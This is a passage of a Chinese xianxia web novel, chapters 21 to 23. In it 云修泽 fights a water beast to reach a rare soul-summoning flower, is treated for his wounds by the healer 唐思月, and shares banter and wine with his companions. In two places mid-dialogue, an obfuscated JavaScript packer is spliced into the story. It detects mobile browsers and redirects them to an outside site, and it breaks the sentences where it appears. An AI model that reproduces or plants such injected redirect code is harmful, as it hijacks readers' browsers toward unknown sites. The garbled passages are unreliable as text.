央玉被逗笑了,这副模样可不就是傻了。 “行了,去试试吧。” 云修泽点头,一个猛子又扎了进去,沉到水中,静心感受周围灵气的运行流动,他调动体内的灵力覆在双眼上,随着双眼睁开,一层一层的叠加,成功是成功了,就是灵力消耗剧烈,根本无法久待。 云修泽爬上岸,跟央玉说了说这个问题,央玉站起身,拍拍衣服,准备离开。 “怎么最低损耗的运用灵力得看你自己了,练吧你就。” 云修泽不知是不是冷的,抖了抖,有种重新被师傅支配的恐惧感。 他不知道该怎么做,就日复一日的尝试,明青常常陪着他,云修云很怕冷,唐思月本来以为他不会坚持太久,可他却出乎意料的每天都会去寒潭那儿修炼一段时间,其余的时间不是拉着行愿切磋,就是去找央玉寻求指点。 央玉也乐的陪他玩儿,但他这个人教人,很少会直接告诉对方什么是对,什么是错,总是指出云修云的薄弱点,就将他扔在一边,让他自己领悟。 云修云有一段时间被他这个教法折磨的苦不堪言,问了明青,她竟说自己从前也是如此,倒是没觉得有什么不适。 比起央玉的做法,似乎这话对云修云的伤害要更大一些,他跑去找唐思月哭诉,唐思月觉得他是来撒娇的,安慰了几句,发现没有效果后,才不紧不慢的跟他解释。 “你要知道,每个人的道都是不一样的,你有自己的风格,他也不是你的师傅,能为你做的,就是指明你的弱处,若是他按照他的道,直接告诉你该怎么做,你反倒会混乱。” 云修泽撑着剑,将下巴放在上面,脑袋晃了晃,安静了一会儿,笑道。 “思月,我不如你良多。” 唐思月正在烹茶,闻言笑了笑。 “你只是不愿多想罢了,云大哥为了司命给的任务忙成这样,你倒也不曾闲着。” 云修云向后靠在椅背上,眼睛放空在她的动作上。 “我从小到大都不如大哥,爹娘也没对我寄予什么厚望,可就算不能超过他,我也绝不愿被他落下。” 唐思月烹好了茶,给他递了一杯。 “做你自己就很好啊。” “不。”云修云眼中透露出一种和云修泽相似的执拗,“如果能做到最好,我就不会在半路停下。” 他看着唐思月拿着茶杯的手:“我也有我想证明的东西,也有想要保护的人。” 他的眼神变得坚定锐利,像是一头已经开始试着对外界张牙舞爪的狼崽。 唐思月垂眼微微一笑:“的确,有变强的心总是好的,加油吧。” 人总要有自己愿意为之奋斗的东西,这不是坏事,只有强大一点,再强大一点,才能守住自己想要的东西,不然...... 等在前方的,就只有万丈深渊。 21. 孚望二十一 云修泽完全适应寒潭用了十九天,速度不可谓是不快,就连央玉私下里都和明青说,云修泽这个人,心性坚韧,悟性极高,而且很适应这种高度集中的修炼。 这样虽好,但同时也有一个坏处,那就是他很容易将自己逼到崩溃,虽然千人万象,每人的性格都各有优缺,但如果明青日后要和他们建立长久的信任关系,在这一点上,就少不得要多加看顾。 十九天,在万年寒潭的辅助下,云修泽的灵力又上升了一个层次,他的轻功在水中无法使用,但身法灵巧的优势依然还在,跟篪正面硬刚显然不是一个很好的选择,还是要以贴身周旋为主。 这日,云修泽找到央玉,他正躺在美人榻上,脸上蒙着白绫,看不出是睡着了还是醒着在晒太阳。 “先生?”云修泽轻轻喊了一句。 “准备好了?” 是在晒太阳。 “是,子竹准备一试,不知那凤引花是何模样?前几日我曾在藏书楼中寻找,却未能找到有关它的记载。” 央玉脸上带着懒散的笑意。 “你倒是很有自信,是觉得自己一次就能过去吗?” 云修泽摇头,想了想说道。 “单凭我在水中的实力,第一次肯定是过不去的,不过凡事无绝对,运气也是实力的一部分。” 央玉哼笑两声:“行吧,不过你也知道我想干什么,就算你运气好,过去了,我也会把你扔回去的。” 他抬手止住了云修泽的话,说道。 “好了,我会让明儿陪你同去,关于凤引花,你就问她吧。” 云修泽见他不想多说,就只能道。 “是,子竹告退。” 云修泽转身想要去寻明青,却发现明青就在不远处等着他,她冲央玉遥遥行了个礼,央玉挥挥手示意他们自行离开。 云修泽快步走到明青身边。 “你都听到了?” 两人边走边说。 “嗯,师傅嘱托过我,让我陪你去。” 云修泽听了,便与她开玩笑说道。 “若没有先生吩咐,想必你也会陪我去的吧。” 明青瞟了他一眼,没搭理他,反而拿出一张图纸递了过来,云修泽接过展开,画的正是一朵他从么见过的花,朱红色,有茎无叶,花瓣的样子形似凤凰尾羽。 明青目不斜视的解释道。 “凤引花,世间所罕见,对于生长环境的要求极为苛刻,昆天谷培育几十年,也只得了三株,现下还在松林中的只有两株了,是昆天谷最珍贵的灵物。” 云修泽仔细看着凤引花的模样,作为世家大族倾尽心血教导的公子,他从未见过这花,连听说都是第一次,这足以证明它的稀少。 “它的功效是什么?” “引魂。” 云修泽拿着图纸的手一抖,震惊的去看明青。 “你说什么?引魂?” 明青点头:“魂飞魄散之人,若有此花,则还有一线生机。” 云修泽捂着嘴,无数思绪在脑海中飞快的闪过,自言自语的说道。 “这可算得上是稀世珍宝了,先生为何要我采来?昆天谷竟然也给吗?他的行为都有他的用意,这个是为了什么?是明青?还是我?又或者是谁?以后会遇到此等危难吗?” 他想了会儿,还是觉得先算了,现在想什么都没用,就算去问,央玉也肯定不会告诉他们,兵来将挡,水来土掩,思虑太过有的时候也不是什么好事。 云修泽甩甩头,引来明青的目光,他冲她笑笑,没说什么,两人御剑飞行,不一会儿便到了悬练。 他们在水边站定,水面还是平静无波,谁又能想到,水下藏有一只轻易便可夺人性命的篪呢。 “我在旁边等你,你放心,师傅已经提前交代过了,它不会伤你性命,但受伤恐怕是在所难免了。” 云修泽苦笑,不伤他性命?这就有点打击他了,好像他很弱一样,不过那只篪的确很厉害,他还是不能掉以轻心。 “放心,我不怕受伤。” 明青听他这么说,犹豫了一会儿,还是低声说道。 “尽量少受伤。” 云修泽准备入水的脚步一顿,回过头来,站的离她近了些,伸手顺着她的手掌往下滑,勾了勾她的手指,承诺道:“我会的。” 明青躲避他的视线,虽然没有制止他的动作,但也只待了一会儿,很快就将手抽出来背到了身后,后退几步,小声说道。 “快去吧。” 云修泽笑了笑,转身时面上却又恢复了肃然,他重复之前的步骤,御剑飞到水潭中央,静静的等待着篪的到来。 水面没有任何阴影波动,云修泽却突然侧身闪躲,一条长尾在他躲开的下一秒,就从他原来所在的地方划过,狠狠拍入了水中,是那只篪在故技重施,可云修泽上过一次当,又怎么会上第二次。 他不仅飞快的躲开了这条尾巴,而且还果断的追着这条尾巴进到了水中。 在入水的一瞬间,云修泽就调动体内的灵力附在了双眼之上,在这里的水中视物,可比寒潭要轻松许多,篪的尾巴上也有细细的鳞片,但比它身上的看上去要柔软很多。 云修泽紧紧追着那条尾巴,就在要碰到它的前一秒,这条尾巴就以云修泽看不清的速度迅速的甩开了,他知道,篪的下一个动作必定是来攻击自己,于是马上向下潜去。 在下潜的过程中,有一双澄黄色的眼睛,在一片漆黑的水中,面对着云修泽,骤然睁开。 云修泽心中一惊,这只篪竟然还预判了他的行动! 它满嘴利齿向他咬来,他们之间还有点距离,云修泽干脆借助水流的推波助澜,让褚闲的剑尖对准它的左眼,不退返进,向它刺去。 篪的内丹虽然在它的左眼,但它左眼的防御力很高,除非褚闲蓄满灵力,正正的刺上去,否则也无法伤它分毫,可偏偏它对它这个要害紧张的很,哪怕知道不会受伤,也会忍不住躲闪。 云修泽这个举动算是兵行险招,如果篪克服了恐惧,没有躲开,那么他必然会受重伤,可篪躲开了,正如他意料的一般。 云修泽擦着它的头颅躲过去,它的身躯很庞大,云修泽在水中无法看清它的全貌。 不过大也有大的好处,至少给云修泽借力的地方就会变多,云修泽在躲开的同时转手按在它身上,一点儿借力便可以让他在水中翻身,同时用褚闲刺向它的身体,它的身体被硬度很高的鳞片覆盖,此举伤不了它,云修泽的用意也不在于此。 褚闲和它的身体碰撞,借着反弹的力道,云修泽又一次在水中改变了自己的位置,躲开了篪回头反咬的一口。 正当云修泽准备再次改变位置,去找它的尾巴的时候,篪突然以极快的速度摆动身体,云修泽躲闪不及,被狠狠撞开。 霎时间,喉中便涌上一股腥甜,还没等他的身形稳定,血盆大口便又在眼前! 唐思月一下站起身来,皱着眉就要离去,央玉立马按住她的肩膀,一旁的云修云和行愿也跟着站了起来,她神色不虞的转头去看央玉,央玉面无表情摇了摇头。 “他总要自己面对危险,不然谈何成长,你要相信他。” 唐思月转过头去不再看他,轻声说道。 “命是最重要的。” 央玉重新笑了笑,带着她坐下了,安抚道。 “你明知篪不会杀他,何苦这么担心,况且,又有谁不会惜命呢?” 四人中间,有一帘水幕,静静立在空中,上面出现的,正是云修泽的身影。 央玉说的很对,谁不会惜命呢?云修泽就觉得自己挺惜命的。 他以左臂一条长长的伤口作为代价,从篪的口中逃了出去,血雾在水中弥漫着,唇色因为快速失血而开始泛白,他的脑海中,明青刚刚的模样一闪而过,但没有时间给他多想。 篪的身躯庞大有力,他不能让它拉开距离,给它施展的空间,云修泽不断的与它周旋着,对于篪来说,他就像是一个抓也抓不住,打也打不中的虫子一样。 篪要烦死了! 在云修泽又一次落在它身上后,篪忍无可忍,用尾巴对着他的位置狠狠抽了下去。 啪!!! 在水中,这个声音略微显得有些沉闷,云修泽打的就是这个主意,等的就是这个时候。 他飞快的躲开了,篪这一尾巴,完完全全打在了自己身上。 这一击若是打在云修泽身上,恐怕会让他断几根骨头,但打在它自己身上,便只是流了点儿血,仅仅是皮肉伤。 篪受了伤,不依不饶又来追他,云修泽身上虽然已经有不少伤口了,但掂量了一下,觉得自己应该还能再撑一撑,于是也不急着跑,继续耐心和它周旋。 等他终于浮上水面,准备上岸时,已经是漏夜时分。 此刻,正碧落尘空,光摇半壁,月在万松顶【注1】,美景无双。 明青一只手放在腰间的剑上,身姿亭亭立于岸边,泛起的水浪再有一寸便可挨到她的鞋尖。 这里除了云修泽自己出水带起的声音,明明还有悬练激烈的水流不断撞击发出的哗哗的声响,可他就是觉得很安静,除了他们两个,像是再没有其它。 就这么神奇的,他立刻脱离了刚刚水下厮杀的激荡,猛然被面前美如仙境的画面抚平了心魄。 明青静静的看着云修泽,他的脸上还有一道血痕。 “没事吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950948|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 看着她的眼神,云修泽摸了摸自己脸上的伤口,指腹沾了鲜血。 他后知后觉的笑起来。 “我没事。” 上了岸,整个人都湿淋淋的,但他已经没有多余的灵力去整理自己了,明青走近几步,帮他把衣服弄干,这样一来,身上的伤口便更加醒目。 云修泽将唐思月给他准备的药一部分碾碎撒在了伤口上,一部分放入口中吞了下去,简单整理了一下后,才去看明青。 明青的表情虽然没有变化,但云修泽就是觉得她有些不开心了,他将身上能藏的伤口都藏了藏。 “没事儿,不疼的,而且你也说了,受伤总是在所难免的,之后我的伤会越来越少的。” 明青没有多说,点了点头:“走吧,回去找思月。” 云修泽此时无法御剑,明青便将他带到了自己的剑上,这个时节的晚风已经不再带有凉意,迎面吹来,将明青的长发带起,云修泽在她身后为她收拢了头发,然后...... ......然后给她编了个辫子。 明青正专心御剑,并没有察觉身后的动静。 “你也和篪打过吗?” 云修泽编的还挺好看,他满意的看了看自己的杰作,心情不错的开始和明青搭话。 “打过。” “你用了多久?” “想比比?” “这如何能比,你那时才多大,总归也比我现在要弱上一些。”云修泽笑了笑:“况且,我总是愿意向你认输的。” 后面那句话他说的很小声,明青没有听清,又问了一遍,他却不肯重复,她也没多想,便又说道。 “可以比,我在水中比你有优势的多,那时用了三十七天。” 云修泽这才想起她的深流,寒潭之剑,在水中的确是有优势的,摸摸下巴,说道。 “三十七天,我记住了。” 在云修泽看不到的地方,明青浅浅露出了个笑容。 两人一路回了周天山,明青走了几步,觉得有些不对劲,一看才知道自己的头发被云修泽编了起来,她看向云修泽,无声的寻求一个解释。 云修泽抬眼看了看天,小声嘟囔。 “......它老打我脖子。” 明青低下头,云修泽皱着眉弯腰去看她的表情,明青就扭过身去不让他看,云修泽狐疑。 “你是不是笑了?” 明青忍了忍,尽量平静的说:“没有。” 云修泽不信:“你就是笑了!你居然笑我!” “你怎么会编女孩子的头发?” 云修泽挑眉:“这就说来话长了,以后有机会和你说,不过肯定没有什么红颜知己就是了。” 他撇的干净,明青背对着他直往前走,云修泽跟上去,还是在纠结她有没有笑,明青的声音带了淡淡的笑意。 “你猜?” “又猜啊......” 他们的背影渐远,云修泽编的辫子在明青身后微微甩动,没有被她拆开。 等两人找到央玉四人时,他们正聚在一起,云修泽看到了桌子上放的子母镜,无奈笑道。 “不是吧?你们还真围观我挨打啊。” 央玉将镜子收了起来。 “这是自然,有热闹谁不凑啊?这种乐子怎么能放过?” 在场也就他能笑得出来了,云修云表情带了点儿忧色,过来要搀扶他,在他的记忆中,他哥少有受这么多伤的时候。 云修泽其实自己完全没有问题,但苦于弟弟一片孝心,还是没有拒绝他。 唐思月简单看了一下他的伤口,说:“回房间吧,包扎一下。” 说完,她又回头看向央玉。 “司命大人就此止步吧,夜深了,早些回去休息。” 这话说的可不算太客气,除了明青,剩下的几人都悄悄看向央玉。 央玉的脸色一点儿没变,他虽看不见,却也大概知道几人的反应,耸了耸肩,笑道。 “别担心,美人在我这儿是有特权的。” 他自己就是个美人,夸起别人来,总能叫人受宠若惊,可唐思月不吃这一套,难得的耍了个性子,只见她轻哼一声,扭头就走了。 她这一面很少见,几人跟央玉道了个别,便去追她。 云修云满脸新奇,立刻就把他哥抛到了脑后,左右围着她转圈儿的哄她开心,像个小狼狗一样期待主人的抚摸。 失去弟弟搀扶的云修泽心痛难忍。 唐思月似乎挺吃云修云这套,很快便被他逗笑了,一行人回了云修泽的屋子,唐思月净了净手,一边擦着一边对着床上的云修泽说道。 “脱。” 22. 孚望二十二 屋中一片寂静...... 唐思月看几人都没什么动静,于是温和的劝道。 “医者面前无男女,不用害羞,云大哥这个伤口是必须要包扎的,有些伤口还要酌情用药处理,不脱怎么弄?” 云修泽神色不自然的咳嗽了两声。 “我知道了,那什么,明青你先回避一下。” 明青看了看他,点点头离开了这里。 云修云和行愿倒是没有回避,不是必须唐思月上手的事情,他们就顺手帮忙做了。 云修泽转过身褪下贴身的中衣,唐思月取药的手一顿,云修泽的后背上有一道从左肩一直延伸到后腰的伤口,如此严重的伤口,他竟一声不吭忍到现在,也没有被人发现。 云修云惊呼:“哥!” 云修泽动了动肩膀,轻轻嘶了一声,笑道:“喊什么?没什么大不了的。” “既然如此,为什么不告诉我?” 云修泽一惊,明青慢慢从屏风后面绕出,眼神定定的看着他,云修泽无奈笑道。 “不都叫你出去了,怎么又跑回来了?” 他的身材很好,线条修长却暗含着强劲的力道,身体每一块肌肉的大小和分布都因为修炼而趋于完美,平日里穿着衣服只觉得清瘦,此刻脱了下来,后背的宽阔有力便一览无余,本来应该十分的赏心悦目,却有一道狰狞的伤口破坏了这具好看的身体。 “你从水中出来便没有背对过我。” “我已经在尽力不让你起疑心了。” 云修泽莞尔,明青的洞察力比他想象的还要强上一些。 篪本身是含有微毒的,被它弄出来的伤口经过了这短暂时间的沉淀,都开始微微泛紫。 “趴下。” 唐思月取出一套蜀羲鱼骨制成的骨针,在云修泽的伤口处各扎了几针,还没等她施法逼毒,毒气便自己缠绕着骨针从云修泽的体内缓缓溢出,颜色恢复正常的伤口也没有出现渗血的情况,就像是伤了已经有一段日子了一般,愈合的很快。 唐思月的手一顿,拉过云修泽的手腕为他把脉,确认没有什么异常后问道。 “你虽然中了毒,但是毒气运行缓慢,拔除的很容易,而且伤口愈合的很快,这是为什么?” 云修泽也没什么好瞒的,解释道:“母亲体质特殊,我也得了些好处罢了。” 他摸摸左臂的伤口:“不过好像也和我自己的实力有关,最近修炼的不错,愈合的速度也快了很多。” 明青一直没有靠近,站在稍远处观察他的情况,听他们这么说,便走近两步看了看,发现他的伤口的确已经在愈合了,心中不由自主的松了口气。 云修泽发现了她的举动,说:“你看,我说过我不怕受伤,因为好的很快的。” 明青去看唐思月,两人对视一眼,唐思月点点头,伸手就摁在了云修泽身上的一个穴位上。 “嘶啊——疼疼疼!我错了我错了,两位姑奶奶,疼,我知道疼!” 云修泽趴在床上,一只手不断拍着床榻,表情微微扭曲,豆大的汗珠在短短时间内就出现在了他的脸上,被按的直直痛呼。 云修云在旁边围观,见到这幅惨象,不由自主打了个冷颤。 “知道疼就好。”唐思月说。 明青看着他,也道:“知道疼就不要这么不给自己留余地。” 云修泽苦笑,两个姑奶奶,他一个都招惹不起。 云修泽这次伤的不轻,纵使恢复力异于常人,也还是被按在周天山上老老实实修养了几天。 云修云这段日子常常泡在藏书楼,根本见不到影子,也不知在研究什么,唐思月则清闲很多,行愿向来是寸步不离的跟着她,但相比下来,这里最闲的,还是央玉,所以云修泽常常能看见他们三人凑在一起。 这日,云修泽正在打坐,忽然感到一股强大的灵力波动扫过他的身体,他一路循着灵力的源头找过去,发现竟然是央玉在舞剑,唐思月正在一旁为他拨弦。 这就很稀奇了,唐思月虽然是以琴为武器,但平日无事时是很少拨弄琴弦的,两人今日不知怎么的,竟然都来了雅兴。 他们凑在一起的次数似乎有些频繁了。 这个念头在云修泽的脑海中一闪而过,但又想到几人的情况,倒也是正常的。 云修泽在一处不碍手的地方站定,央玉的实力有多强他不好说,但看他舞剑,自身也必然能有所收获。 不多时,明青也找了过来,两人在一处站着,明青定定看了一会儿,小声说道。 “上一次我见他舞剑,是在六年前。” “知音难得。” 央玉的身姿飘摇,还带了些醉酒之意,看此剑法便知他的潇洒随性,剑出即啸,宛若游龙清影,下一刻,却又猛然乍现杀伐之意,锐意难挡! 唐思月的琴音伴随着他的剑法,时缓时急,既有垂手登仙的洒脱,也有攻伐果决的魄力,两人算得上是相辅相成,可毕竟唐思月尚且年少,有一些地方衔接的十分微妙,若是有别的乐器倒可为她添补,与她配合,现下却算不上圆满。 明青的剑法中,有一些央玉的影子,可两人又并不完全相同,明青自己的一招一式中,还隐隐有些大气磅礴、光明磊落之感,两种截然不同的风格,被她揉杂到一起,成了她自己的东西。 也许和她没有说出口的秘密有关。 “哈哈哈哈!月儿,琴音不错,用来打架,暴殄天物!” 央玉显得十分痛快,一曲毕,才发现旁边已经无声无息的站了四个人。 云修云最捧场,他真诚的惊叹道:“司命大人好剑法!思月也很厉害!” 他们要叙话,便有莨鸟为他们摆了茶水点心,唐思月收起古琴坐了过来,央玉手快,先倒了杯茶一饮而尽。 “我很久没有听到这样可称无双的琴音了。” “司命谬赞了。” 云修泽突然想起他第一次去藏书楼时,在一堆画着宝剑的图纸中,看到的一些其他各式各样的武器样式,他想了想,问道。 “先生,我之前无意中看到了您画的武器图样,不知为何还有那么多稀奇古怪的武器?” 央玉理所当然道。 “现在不比从前,如今算得上是十分太平,人们也多走君子之道,不屑于玩儿偷袭什么的,之前就不同了,那时的人们以活命为主,武器求的就是伤人,也不羁什么方式,身上抖三抖都能掉出不少小东西来,自然花样百出。” 他说的随意,却不曾想云修泽的下一句话便叫几人陷入了沉默。 “先生铸剑无数,可曾见过,镜双子的剑?” 央玉放下茶杯,表情看不出喜怒,问道:“名满天下,你觉得我见过吗?” 这句话说的模糊不清,云修泽也没有细问,转口问道。 “剑名为何?” “泼天掩日,立而却邪,这两把剑如此出名,你们稍加打听也可知道。” 云修泽笑了笑。 “您既然在这里,我们又何必舍近求远,掩日,却邪,看来是有典故了......” 央玉微微笑起来:“怎么?你也开始在乎他们的实力了?” 言下之意便是,你不准备看一眼就走了? 云修泽一噎,拿不准他是不是心情不好,当着明青的面拿这话问他。 可机会难得,面前这简直就是一个百事通,不好好利用,怎么能够消除心中被他随意摆布的不快呢? 云修泽无所畏惧。 “您也说了,之前的人们武器花样百出,那镜双子除了剑,可还有其他的武器?” “自然有,帷灯、浮犀,这两个世人只知其名,未曾见过它们是什么,说是什么的都有,还有,斜月会用一把弯刀,倒是没听说过有名字,剩下的就不知道了,毕竟他们最常用的还是剑。” 云修泽转了转手中的茶杯,追问道:“世人不知,您也不知?” 央玉笑的邪气,拍拍云修泽的肩膀。 “拿我当百事通用呢?” 察觉到危险,云修泽讪笑。 “怎么会,先生多虑了。” 可惜了,他本还想多问一些事儿呢,虽然大概率不会告诉他,但架不住人都有好奇心,总想试一试,万一说顺嘴了就告诉他了呢? “你还是先想想眼前的事儿吧。”央玉摆着手,收起剑一甩拂尘,就跑了。 云修泽被拂尘扫了一脸,无奈的低头抹了一把。 这里又只剩他们五个了,他们互相看了看,不知谁先起头笑了起来,几人虽然住在一起,但都各自忙碌,倒是有一段时间没凑的那么齐了,都将自己最近所得说了一通,最后在一起用了午膳。 下午,云修泽的伤总算得了唐思月松口,当即重振旗鼓,又去挑战篪。 正如云修泽所说,他受的伤一次比一次少,从一开始的间隔至少五天,到后期基本每天都去差不多只用了一个月左右的时间。 云修泽依然没能到达对面的松林,但他已经能够在水中游刃有余的和篪对战。 央玉在水幕前托着下巴,笑道:“进步神速啊。” 这一个多月相当艰难,有几次可以说是差点丢了性命,他在水中不得要领,偏偏又爱自己研究,有的时候倒真能悟出来,但有的却死活都不明白。 央玉并不管他这个,只等他问到自己头上才会指点两句,久而久之,他也就没有那么死脑筋了。 至少在这里是。 云修泽从水中爬出来,没受什么伤,但是累的够呛,他躺在岸边,明青就在他身边坐下,等着他平息自己的状态。 云修泽仰躺着喘息,瞳孔中映着碧蓝的天空,视线所及,他能看到一个昆天谷内门弟子御剑进了森林。 “你说我每天在这里折腾他们的看守者,这么多弟子,竟然没有一个提出异议的。” 明青示意他看自己腰间银紫色的令牌,说道。 “这也是昆天谷的弟子令,不过代表的是司命,比较特殊,绝大多数弟子不知道司命的存在,但看到这种腰牌,都会避让。” 云修泽拨弄了两下,笑着说:“那就怪不得了。” 他看起来心情不错,一个鲤鱼打挺就站了起来。 “走吧,陪我去找思月。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950949|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你受伤了?” “哈哈哈,别担心,我没受伤,只不过时候差不多了,没准儿下一次我就能进到松林了,不是说那里面毒物很多吗?总要做些准备的。” 他开怀的笑着,成功近在咫尺,尽管只是第一层成功,但付出了那么多努力,也不禁叫他开怀。 看他这样,明青也被他感染的心情明朗了几分,两人一路御剑回了周天山。 云修云正在和行愿切磋,这段时间进步的不止有云修泽,每个人都或多或少的获得了成长,这点在云修云身上很显著。 别看他平日里总是和云修泽犯傻,但认真起来,其实是比较强势的,同时他的性格也有一些急躁,从他打起架来只攻不守这一点就能很明白的看出来,他的进攻甚至比云修泽还要凌厉几分,原本弱在速度,但最近也提高了不少。 他的目光认真,眼中只有剑和行愿,两人打起来,正是刀光剑影,铿锵的兵器声不断。 云修云这个打法优缺点都很明显,首先气势很强大,容易震慑对手,其次能够打乱对手的节奏,从而短时间内拿下胜利。 缺点也就在于此了,如果短时间内不能取得胜利,一旦时间拖延过长,就会很轻易落败,而且只攻不守,也很容易让他自己受伤。 云家曾经数次试图改变他这个打法,他也会跟着学,但无奈打着急了,还是会变成这个样子,直到思月出现,见他总受这样的冤枉伤,跟他生了几次气,他就强迫自己改掉了,现在也只有和自己人切磋时才会偶尔这样。 云修泽感叹,父亲母亲,你们还是败给了美色无边啊。 两人找了找唐思月,却根本没能见到人,云修泽摸着下巴,惊奇道。 “思月竟然不在吗?行愿竟然也肯离开她?” “我在这里。”唐思月的声音远远飘来。 两人顺着声音抬头,就发现唐思月不知怎么上了树,又在上面干什么。 两人刚刚就在这里到处找她,她明明看着,却到此时才出声提醒,吐了吐舌头,像是一个成功搞了恶作剧的小姑娘一样,眼里尽是笑意。 云修泽哭笑不得:“小姑奶奶啊,你怎么上去的?” 唐思月没回他的话,反而冷不丁的就往下跳,这树高的很,她又不像几人一样体魄强健,纵使有灵力护体,这么结结实实的摔在地上,恐怕也要受伤。 云修泽和明青都被她吓到了,下意识要去接她,行愿却不知什么时候结束了切磋,出现在树下,唐思月就稳稳的被他接在了怀里。 她从行愿身上下来,就见云修云也一脸惊魂未定的跟着跑过来。 “你这是干什么!有多危险你不知道吗?” 云修云跟她说话的语气难得冲了些,见吓到他们了,唐思月面上有了些悔意,可怜巴巴的跟他们道歉。 “对不住,我知道你们会接住我的,我体弱,父亲从不让我干这些,可其他孩子玩的那么开心,我总是忍不住羡慕。” 这谁顶得住,反正云修云顶不住,当即变了个模样,温言细语的去哄她。 见他这个样,云修泽和明青对视一眼,明青眼中带着笑意,云修泽就直接笑了出来,的确,他们每个人都有上树的习惯,也是苦了她‘压抑天性’。 “你就因为这个上去的?”云修泽问。 唐思月摇摇头,拿出从树上摘的一朵花。 “我听司命大人说,这种树叫樊芝,五年才开一次花,用来酿酒别有一番风味,我从来没见过这种树,也没试过酿酒,所以想试试。” 云修泽接过那朵花闻了闻,的确有一种浓郁且特殊的气味。 “酿酒可不是一天两天的功夫,我们在这里待不了那么久,你酿了不也喝不了吗?” 唐思月将花朵捧到鼻尖嗅了嗅,笑道。 “主要是对这种花比较感兴趣了,顺带研究研究,酿的酒就给司命留下吧,等他以后喝了,写信给明青的时候,顺便说说好不好喝就可以。” 她很肯定的相信,这对师徒无论走到哪里,都能取得联系。 云修泽了然,无论是行医还是用毒,的确都会对各种植物草药感兴趣,他想起要找唐思月的事儿,和她说道。 “不日我应该就能进到松林,先生说里面毒物很多,我来找你要些避毒的法子。” 唐思月敲了敲手心,恍然道。 “哦~你说这个呀,我早就准备好了。” 她掏了掏,拿出了一个小册子和一个香囊。 “哝,香囊里面是避毒丹和解毒丹,还有一些常规的伤药,虽然避毒丹能够躲开大部分的毒物,你自己也不容易中毒,但凡事无绝对,若你还是中了毒,用解毒丹就可以。” 她指了指那个小册子,意有所指的笑道。 “这里面还有一些灵草灵植的采集方法,有毒的没毒的都有,虽然我不知道昆天谷里有什么,但若是遇上了,你也能知道该怎么办不是吗。” 几人沉默了一会儿,云修云默默喊道。 “......思月。” “嗯?” “好样的!” 云修泽眼睛都亮了。 23. 孚望二十三 今晚灰沉沉的,月亮没有出来,整片天空都是烟黑色的云,在风的推动下,静悄悄的挪动。 云修泽和明青回来时,就见唐思月在美人榻上酣然入睡,云修云正站在一旁,轻轻为她盖上披风,行愿和央玉就在不远处坐着低声叙话。 “她怎么睡了?干嘛不带她回屋?” 云修泽和明青过来坐下,悄声问起。 云修云走过来为他们两个各倒了杯酒,轻声回道。 “应该是累了,她今日跑来跑去的酿酒,又去了几次藏书楼,刚刚还说着话,一个没留神儿就入了梦了。” 央玉也说道:“总闷在屋子里也不好,让她在这儿睡吧,这个时节,也冷不了她。” 也罢,就让她暂时在这儿吹吹风吧。 云修泽被杯中的酒香吸引了注意,轻轻一转,倒是对她酿的酒起了兴趣,问央玉道。 “先生,那酒可有什么说法吗?” 几人的周围有星星点点的萤火,都是不自觉被今日酒中掺的琉璃花露引来的,央玉手中拿着拂尘在空中轻轻一划,将它们驱散了些,笑道。 “樊芝花本身香气特殊,也只在灵气充裕的地方生长,用它酿的酒,灵气逼人,入口清甜,后劲儿却大的很,喝上几盅,便能推着你体内的灵气自行运转一个周天,帮你除去些身体的沉疴,最奇的便是,它醉人却不会叫人头痛。” 央玉喝了口杯中酒,也不知是不是在借此回忆樊芝酒的味道,总之露出了点餍足的神色。 “从前我还不是司命时,最喜欢它,常叫人替我酿好备下,现下也是心境不同了,轻易不愿见人,自己也总没那个闲心酿,久而久之,就不怎么喝了,如今倒把你们盼来了。” 云修泽的视线被他的拂尘吸引,他不是第一次察觉到他喜欢自由了,成为司命,对别人来说怎么样他不知道,但对央玉来说,就算不是件坏事,也绝不是一件好事。 云修泽问道:“我看您似乎更擅长用剑,为什么平日里总是拿着这把拂尘呢?” 央玉惊讶道:“当然是拿来装样子的!你不觉得我很适合拿拂尘吗?你就说有没有仙风道骨的范儿吧!” 云修泽压根儿没想到是这么个答案,嘴角不禁微微抽搐,转头就去看明青,明青在一旁用手捂着眼,自欺欺人的躲避他的视线。 央玉哀叹道。 “你们是不知道,我想这樊芝花酒已经想了很久了,虽知道怎么做,但步骤复杂琐碎,那么多年也没动过几次手,幸亏你们来了,也算沾上徒儿的光了。” 明青突然说:“我之前也给您酿过。” 央玉听到她的话,面色肉眼可见的复杂起来,拍了拍云修泽的肩,道。 “可怜的孩子,你以后可千万别让她进厨房。” 云修泽一愣,那边深流已经出鞘几寸,剑身冒着寒光,剑的主人语气不善,说道。 “师傅,您很久没有指点弟子了,何不趁着今日......” 她的话还没说完,央玉就已经‘功成身退’,转眼就消失了,只有开怀的笑声还没消散。 明青面无表情的坐下来,心中有些气闷,转眼去看云修泽,就正好对上他的笑眼,她的双眼一眯,还没等她说什么,云修泽就双指并拢放在脑边,快速开口道。 “你放一百个心,今天我们什么都没听见!” 明青的双眼一转,别说是云修云捂着嘴不住的点头,就连行愿都默默的捂了下面具,她沉默了一下,差点就要被这奇怪的一幕逗笑了。 见她放松下来,几人又随意聊了几句闲话,云修泽拨弄酒盏,显得有些心不在焉,他突然问道。 “明青,先生他,没有家族吗?” 他没有姓,和行愿一样只有名。 